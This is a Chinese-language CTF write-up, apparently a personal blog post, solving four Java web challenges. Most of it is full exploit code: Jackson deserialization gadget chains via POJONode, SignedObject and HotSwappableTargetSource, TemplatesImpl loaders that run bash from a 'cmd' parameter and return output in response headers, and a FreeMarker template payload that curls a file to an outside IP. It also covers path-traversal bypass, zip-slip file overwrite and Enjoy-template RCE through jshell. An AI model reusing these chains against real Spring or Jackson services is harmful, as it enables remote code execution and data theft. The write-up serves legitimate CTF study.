DASCTF X CBCTF 2023 bypassjava
这里参考官方wp,我们在getContentLength的地方下断点
最后在Request#getContentLengthLong得到contentLength
Http11Processor#prepareInputFilters找到可以赋值为-1的地方
注释中写到chunked格式不应用content-length,所以去除
chunked发包返回contentLength为-1,绕过有点奇怪的是payload的长度要用16进制,用10进制就不成功,不懂
题目有Jackson低版本依赖,直接打Jackson链
题目是不出网的,要内存马,这里直接抄了SICTF CC那题出题人的写法
package com.example.bypassjava;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class mem extends AbstractTranslet {
static {
try {
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
Process process = Runtime.getRuntime().exec(new String[]{"bash","-c",request.getParameter("cmd")});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line+" ");
}
// String s =new Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).next();
response.setHeader("night", output.toString());
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
本地是可以,但是题目还有RASP的防护。
第六届浙江省赛初赛secObj
参考wp
存在反序列化点
有黑名单
存在低版本Jackson,打Jackson链,但是TemplatesImpl和javax.management都被过滤了,这里要用SignedObject来进行二次反序列化
问题变成如何调用SignedObject#getObject,POJONode#toString可以调用任意getter方法,于是问题又变成了怎么调用toString,看wp用HotSwappableTargetSource加HashMap调用toString
给出弹计算器的完整poc
package com.example.demo;
import com.example.demo.util.MyObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
public class jackson {
public static void main(String[] args) throws Exception {
//Jackson链
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\CH3CH2OH\\Desktop\\test_windows\\demo-0.0.1-SNAPSHOT\\out\\production\\demo-0.0.1-SNAPSHOT\\com\\example\\demo\\calccodes.class"));
byte[][] codes = {code};
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "a");
// setFieldValue(templatesImpl, "_tfactory", null);
CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
ctClass1.removeMethod(writeReplace);
// 将修改后的CtClass加载至当前线程的上下文类加载器中
ctClass1.toClass();
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
//SignedObject#getObject->badAttributeValueExpException#readObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(badAttributeValueExpException,kp.getPrivate(), Signature.getInstance("DSA"));
//POJONode#toString->SignedObject#getter
POJONode node1 = new POJONode(signedObject);
//HotSwappableTargetSource#equals->XString#equals->POJONOde#toString
HotSwappableTargetSource hotSwappableTargetSource = new HotSwappableTargetSource(new XString("1"));
//HashMap#readObject->HotSwappableTargeSource#equals
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource,null);
hashMap.put(new HotSwappableTargetSource(new XString("2")),null);
//防止put的时候触发equals,反射改POJONode
setFieldValue(hotSwappableTargetSource,"target",node1);
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String data = new String(encode);
System.out.println(data);
// System.out.println(data.length());
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data));
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(byteArrayInputStream);
myObjectInputStream.readObject();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
然后我们抓登录的数据包,直接改/admin/user/readObj路由发包data
成功弹计算器
题目不出网,要用内存马
package com.example.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class calccodes extends AbstractTranslet {
static {
try {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
Field responseField = request.getClass().getDeclaredField("response");
responseField.setAccessible(true);
Object HeaderWriterResponse = responseField.get(request);
Method addHeaderMethod = HeaderWriterResponse.getClass().getSuperclass().getDeclaredMethod("addHeader",String.class,String.class);
Process process = Runtime.getRuntime().exec(new String[]{"bash","-c",request.getParameter("cmd")});
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line+" ");
}
addHeaderMethod.invoke(HeaderWriterResponse,new String("CHHHCHHOH"),output.toString());
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
最开始想用上面那题的,发现报错了,可能是加了Security导致获取到的request不一样,记录一下怎么调的
request是Servlet3SecurityContextHolderAwareRequestWrapper
它有一个response,反射获取
response是HeaderWriterResponse
它继承的父类有addHeader方法,反射获取
最终成功添加响应头。严格意义上来讲,这应该不算内存马,因为并没有把shell写入内存,只是在进行反序列的时候多加了个响应头把数据带回。
羊城杯2023Ez_java
提供了反序列化路由
有Jackson低版本依赖可以打
但是过滤了TemplatesImpl就不能加载字节码了
这里因为类给的很少,很容易发现可以通过POJONode#toString调用动态代理invoke,最终调用uploadfile
这里只能上传.ftl文件,但是这种文件是能rce的,templating路由会渲染index.ftl,我们上传恶意ftl文件覆盖它
package com.ycbjava;
import com.fasterxml.jackson.databind.node.POJONode;
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
HtmlMap htmlMap = new HtmlMap();
htmlMap.filename = "index.ftl";
htmlMap.content = "<!DOCTYPE html><html lang=\"en\"><head><metacharset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl 124.221.19.214:2333 -F file=@/flag\")}</head><body></body></html>";
POJONode node = new POJONode(htmlMap);
Map map = (Map) Proxy.newProxyInstance(htmlMap.getClass().getClassLoader(), htmlMap.getClass().getInterfaces(), new HtmlInvocationHandler(htmlMap));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", map);
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(badAttributeValueExpException);
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String data = new String(encode);
System.out.println(data);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
其实我最开始想到的是JRMP+Jackson,Windows下虽然成功弹计算器了,但是linux下没执行成功,不知道为什么,可能是Jackson不稳定?
浙江大学生省赛决赛 ezWEB
先获取hint
可以ssrf,但是ban了flag
这里有个拦截器,要求不能有..或./,且以/index打头或等于/
这里用/index/%2e%2e/admin/hello进行绕过,SpringBoot版本为2.3.0,requestURI的时候没有进行url解码,所以%2e%2e直接绕过..的判断,Spring < 5.3.x 是可以../来绕过,但是这题ban了..
这里上传zip文件的时候直接拼接了路径名,所以我们可以上传到任意位置,解压之后就可以覆盖任意文件
这里的html文件用了enjoy模板,可以ssrf和rce
构造#include("../../../../../../../../../../../../../etc/passwd")的hello.html并压缩上传因为burp从文件复制会摔坏数据包,所以我们本地起一个上传文件的html服务,然后改数据包的url和端口
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
</head>
<body>
<h2>上传文件</h2>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="上传">
</form>
</body>
</html>
成功ssrf,有权限的话也可以读flag
模板注入的语法感觉看不懂一点,wp里主要是这两个,一个是把调用静态方法设置为true,一个是用jshell执行java代码,分别放在hello.html和upload.html,放同一个会有问题,可能是要访问一次才能设置为true,同一个里直接用不允许
#(springMacroRequestContext.webApplicationContext.getBean('jfinalViewResolver').engine.setStaticMethodExpression(true))
#((jdk.jshell.JShell::create()).eval('Runtime.getRuntime().exec("calc");'))
弹计算器。